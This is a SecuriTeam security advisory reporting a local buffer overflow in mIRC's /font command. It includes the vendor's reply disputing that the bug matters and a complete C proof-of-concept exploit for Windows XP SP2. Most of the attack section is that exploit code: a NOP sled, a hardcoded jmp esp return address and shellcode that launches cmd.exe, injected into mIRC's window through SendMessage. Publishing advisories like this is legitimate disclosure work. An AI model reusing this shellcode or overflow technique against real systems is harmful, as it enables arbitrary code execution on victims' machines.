[NT] mIRC Font Buffer Overflow (Exploit)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  mIRC Font Buffer Overflow (Exploit)
------------------------------------------------------------------------


SUMMARY

" <http://mirc.com/> mIRC is a friendly IRC client that is well equipped 
with options and tools." Lack of proper length validation in mIRC that 
leads to a local buffer overflow allows attackers to execute arbitrary 
code.

DETAILS

A local buffer overflow with the /font command in mIRC was found.
By using the command:

/font -z $readini(c:\a\a.ini,aaaaaaa ,aaaa) $readini(c:\a\a.ini,aaaaaaa 
,aaaa)

The function will return null and crash. If the first parameter is null 
and the second parameter is a long string, it is possible to overwrite the 
EIP and execute arbitrary code without privileges elevation.

Vendor Status:
"As far as I can tell, this is neither an exploit nor a vulnerability. The 
above report describes a local bug in mIRC. The author of the report 
indicates that any malicious software on your computer can modify your 
mIRC settings to cause mIRC to crash. But if you have malicious software 
on your computer, you've already compromised your security..."

Exploit:
/*
mircfontexploitXPSP2.c

This PoC it's for XP SP2 English
Special thanks to Racy from irc-hispano
*/


#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

int main () {
HWND lHandle;
char command[512]= "/font -z $null";
char strClass[30];
char buffer[128]=
"\x20\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";

char shellcode[999]=
"\x55"
"\x8B\xEC"
"\x33\xFF"
"\x57"
"\x83\xEC\x04"
"\xC6\x45\xF8\x63"
"\xC6\x45\xF9\x6D"
"\xC6\x45\xFA\x64"
"\xC6\x45\xFB\x2E"
"\xC6\x45\xFC\x65"
"\xC6\x45\xFD\x78"
"\xC6\x45\xFE\x65"
"\x8D\x45\xF8"
"\x50"
"\xBB\xc7\x93\xc2\x77"
"\xFF\xD3";

//Shellcode system("cmd.exe"), system in \xc7\x93\xc2\x77 0x77c293c7
(WinXP Sp2 English)

char saltaoffset[]="\xD6\xD1\xE5\x77"; // jmp esp 0x77E5D1D6 
(advapi32.dll)

SetForegroundWindow(lHandle);
lHandle = FindWindowEx(FindWindowEx(FindWindowEx(FindWindow("mIRC",
NULL), 0, "MDIClient", 0),0, "mIRC_Status", 0), 0, "Edit", 0);

if (!lHandle) { printf("Can't find mIRC\n"); return 0; }

strcat(buffer,saltaoffset);
strcat(buffer,shellcode);
strcat(command,buffer);
printf("mIRC Font Command Exploit: %s\n", command);

SendMessage(lHandle, WM_SETTEXT,0,(LPARAM)command);
SendMessage (lHandle, WM_IME_KEYDOWN, VK_RETURN, 0);
}

/* Eof */


ADDITIONAL INFORMATION

The information has been provided by  <mailto:crowdat@xxxxxxxxx> Crowdat 
Kurobudetsu.
The original article in Spanish can be found at:  
<http://cyruxnet.org/archivo.php?20060121.00> 
http://cyruxnet.org/archivo.php?20060121.00
The forum discussion can be found at:  
<http://trout.snt.utwente.nl/ubbthreads/showflat.php?Cat=0&Number=146129&an=0&page=0#146129> http://trout.snt.utwente.nl/ubbthreads/showflat.php?Cat=0&Number=146129&an=0&page=0#146129



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@xxxxxxxxxxxxxx 
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any kind. 
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

Relevant Pages